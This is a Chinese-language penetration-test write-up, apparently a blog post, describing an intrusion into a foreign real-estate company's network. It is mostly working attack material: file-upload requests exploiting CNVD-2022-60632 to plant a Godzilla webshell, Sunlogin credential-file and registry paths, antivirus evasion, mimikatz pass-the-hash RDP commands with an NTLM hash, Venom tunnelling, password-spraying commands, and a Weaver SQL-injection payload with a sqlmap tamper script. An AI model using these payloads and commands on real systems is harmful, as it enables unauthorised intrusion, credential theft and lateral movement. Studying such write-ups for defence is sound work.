对国外某地产公司的一次测试,测试过程中每一步都有阻碍,不像以往的一帆风顺,对其中涉及
的一些点进行一个简单的记录,码较厚,见谅。
通过资产测绘发现一个畅捷通系统,经查询资料发现一个CNVD-2022-60632的漏洞
发送一个简单的测试包,发现漏洞存在
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1 Host: x.x.x.x Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 ------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; name="File1";filename="est.aspx" Content-Type: image/jpeg hello word ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
开始上传shell,用哥斯拉生成CShapDynamicPload的码
cmd执行以下命令,-p为马子的目录,test2为生成的马子的目录
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v / -p D:\test D:\test2 -fixednames
将马子和生成的.dll、.complied文件都上传上去
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 1296 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt Accept-Encoding: gzip, deflate ------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; name="File1";filename="test.aspx" Content-Type: image/jpeg <%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1 Host: xxxxxxxxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Content-Length: 529 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt Accept-Encoding: gzip, deflate ------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; name="File1";filename="../../../bin/test.aspx.cdcab7d2.compiled" Content-Type: image/jpeg <?xml version="1.0" encoding="utf-8"?> <preserve resultType="3" virtualPath="/infotest.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: xxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Length: 529
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Accept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/App_Web_test.aspx.cdcab7d2"
Content-Type: image/jpeg
<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/test.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
------WebKitFormBoundarywwk2ReqGTj7lNYlt--
访问http://xxx.xxx.xxx.xxx/tplus/test.aspx?preload=1
,成功上线哥斯拉
查看有360杀软,还有向日葵远程桌面
原本想直接读取向日葵配置文件,通过向日葵直接连接到远程桌面,但向日葵的配置文件居然是空白的..
向日葵配置文件路径一般位于以下
绿色版:C:\ProgramData\Oray\SunloginClient\config.ini
安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
注册表查询
安装版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
绿色版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
简约版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginLiteInfo
encry_pwd
为本机验证码,为密文,不可解密
fastcode
为本机识别码,为明文
解密脚本https://github.com/wafinfo/Sunflower_get_Password
其实我还可以上传本地的向日葵配置文件去覆盖目标源文件,但这个方法没试,因为以前试过一次没成功,好像还跟版本有关,我还是选择上线到cs再说
因为有360,我随便上了个免杀,上传上去执行的时候报了什么 denied,反正不允许执行
使用哥斯拉自带的内存加载pe文件成功上线
看了下系统是windows server 2012,不能直接抓取明文密码,查了一下arp表还有不少主机,可惜的是不在域里
开始翻主机,翻到一个数据库密码,还是base64的
没有找到其他有用信息了,还是上fscan来一波,没想到fscan不仅没被杀,还能运行?
可以看到两台域控,内网其实还是有机子在域里的,得想办法移到在域的机子里
还有几台ssh弱口令,和一台smb弱口令
内网好多资产可以深入,重点是能横移到域里面的机子
先弄个代理将流量送到内网去,cs自带的socks代理是非常难用的,上传ew,执行的时候还是被denied了
无奈用cs自带的socks代理试试,不行,无法访问内网应用
上传frp、venom等代理工具,执行的时候通通被denied,我寻思你是只允许fscan执行是吧,其他应用通通拦截
转个会话到msf,使用msf的socks的代理也同样不行,看来得把杀软关掉
试了几个驱动来干掉360都失败了,试着添加用户也被拦截了
通过不断尝试终于绕过了360,成功添加用户
打开远程桌面
虽然打开了远程桌面,但无论如何都无法连接到远程桌面,防火墙放行和关闭了都不行,怀疑内网有其他的防护设备。
使用msf进行了一道端口转发
portfwd add -l 3389 -r 127.0.0.1 -p 3389
但使用新建的用户登陆时,还是失败了,提示不能加载用户的配置文件,怀疑通过这个办法新建的用户有问题
server2012默认是不能抓取明文密码的,虽然修改注册表可以,但要重启动静太大了
试着抓了一下,只抓到了一串hash,拿去解密网站也没有解开
但是rdp是可以通过hash直接登录的
使用mimikatz,在win10主机上执行,win7是没有相关参数的
privilege::debug
sekurlsa::pth /user:administrator /domain:WIN-E623EEREKAE /ntlm:e2119365a7ce84de9de6e6ff9bdea690 "/run:mstsc.exe /restrictedadmin"
随后会弹出一个mstsc窗口,直接点击登陆就行
成功登陆进来,手动退掉360相关安全防护软件
现在来执行venom开启代理就能执行成功了,果然是被360给拦截了,我很好奇他怎么不拦fscan
#服务器执行
/admin_linux_x64 -lport 8085
#客户端执行
agent.exe -rhost xxx.xxx.xxx.xxx -rport 8085
goto 1 #进入节点1
socks 8050 #开启socks5代理
配置proxychains.conf,先连接那个几ssh弱口令看看
关闭历史命令记录
空格set +o history
通过history发现了几个密码
登录到数据库,但数据库里没发现什么东西,大部分都是空表
这几台linux上也没有发现什么有价值的东西,把目标转向其他
100段还有一台ms17-010,但打失败了,另外还有一台smb的弱口令也死活横向不过去,什么smbexec、wmiexec甚至ipc链接都不行。
索性把那个弱口令和其他收集的密码来做一个密码喷洒
ff.exe -h x.x.x.x/16 -m smb -pwdf d.txt
这几个一个都没横向成功,是不是被杀软拦了?
又把这台机器的hash拿去做了一个喷洒
fscan.exe -h x.x.x.x/16 -m smb2 -user administrator -hash e2119365a7ce84de9de6e6ff9bdea690
喷洒出了3台,但还是一台都没成功
拿出资产结果看看,内网还有4台sqlserver数据库,把刚才搜集到的数据库账户密码拿来做个变形,爆破这4台数据库,很遗憾,还是没一台成功的。
只能从内网的web资产入手了,筛选了一波web应用,发现了一个爆出来没多久的漏洞——泛微sql注入漏洞-CNVD-2023-12632
bp挂个上游代理测试一波
a' union select 1,''+(select @@version)+'
payload需要经过3次url编码,编码脚本
import os def main(): clearFlag = "y" while(1): if clearFlag == "y" or clearFlag == "Y": os.system("cls") clearFlag = "" string = input("请输入需要转换的字符串 :") for i in range(3): string = encode(string) encode_string = string print("编码结果为:"+encode_string+"\n") #编码 def encode(string): encode_string = "" for char in string: encode_char = hex(ord(char)).replace("0x","%") encode_string += encode_char return encode_string main()
漏洞确实存在,而且还是mssql数据库,通过sql注入开启xp_cmdshell不就拿下了吗
使用sqlmap来跑,但payload需要经过3次编码,编写sqlmap脚本
def enc_url(payload): encode_string = "" for char in payload: encode_char = hex(ord(char)).replace("0x","%") encode_string += encode_char return encode_string def tamper(payload,**kwargs): url_encode = payload str_url = "" for i in range(3): url_encode=enc_url(url_encode) str_url = url_encode return str_url
使用sqlmap挂上代理开跑
qlmap -r ~/sql2.txt --tamper E-Cology-sql.py --dbms=mssql -proxy socks5://x.x.x.x:8050 --random-agent --timeout 10 --level 5 -p keyword --risk=2
没跑出来,使用sqlmap的前缀后缀参数
qlmap -r ~/sql2.txt --tamper E-Cology-sql.py --dbms=mssql -proxy socks5://x.x.x.x:8050 --random-agent --timeout 10 -p keyword --prefix="a' union select 1,''+(" --suffix=")+'" --level=5 --risk=2
成功跑出来,但在执行--os-shell
和--os-cmd
时报错
使用手工来进行操作,sqlserver执行命令的那几种方法都试了,都无法执行命令。
也尝试了网上一些绕过mssql无法执行命令的方法,都失败了
得嘞,路又堵死了,累了,不再深入,干饭。
总的来说还是比较曲折的,各个环节都被卡壳,比较可惜和疑惑的几个点